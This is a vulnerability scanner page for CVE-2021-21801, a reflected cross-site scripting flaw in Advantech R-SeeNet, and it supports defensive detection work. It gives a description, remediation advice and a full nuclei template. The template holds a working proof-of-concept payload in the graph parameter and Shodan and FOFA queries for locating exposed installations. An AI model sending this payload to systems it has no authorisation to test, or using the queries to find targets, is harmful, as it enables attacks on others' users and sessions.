Advantech R-SeeNet - Cross-Site Scripting

mediumseverity

6.1CVSS score

59%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Advantech R-SeeNet contains a cross-site scripting vulnerability in the device_graph_page.php script via the graph parameter. A specially crafted URL by an attacker can lead to arbitrary JavaScript code execution.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches or updates provided by Advantech to fix the XSS vulnerability in the R-SeeNet application.

How to confirm it

Send: GET {{BaseURL}}/php/device_graph_page.php?graph=%22zlo%20onerror=alert(1)%20%22
Positive when: contains "\"zlo onerror=alert(1) \"" and "Device Status Graph" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-21801 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-21801

info:
  name: Advantech R-SeeNet - Cross-Site Scripting
  author: gy741
  severity: medium
  description: Advantech R-SeeNet contains a cross-site scripting vulnerability in the device_graph_page.php script via the graph parameter. A specially crafted URL by an attacker can lead to arbitrary JavaScript code execution.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Advantech to fix the XSS vulnerability in the R-SeeNet application.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21801
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-21801
    cwe-id: CWE-79
    epss-score: 0.58968
    epss-percentile: 0.9912
    cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: advantech
    product: r-seenet
    shodan-query: http.html:"r-seenet"
    fofa-query: body="r-seenet"
  tags: cve2021,cve,rseenet,xss,graph,advantech,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/php/device_graph_page.php?graph=%22zlo%20onerror=alert(1)%20%22'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"zlo onerror=alert(1) "'
          - 'Device Status Graph'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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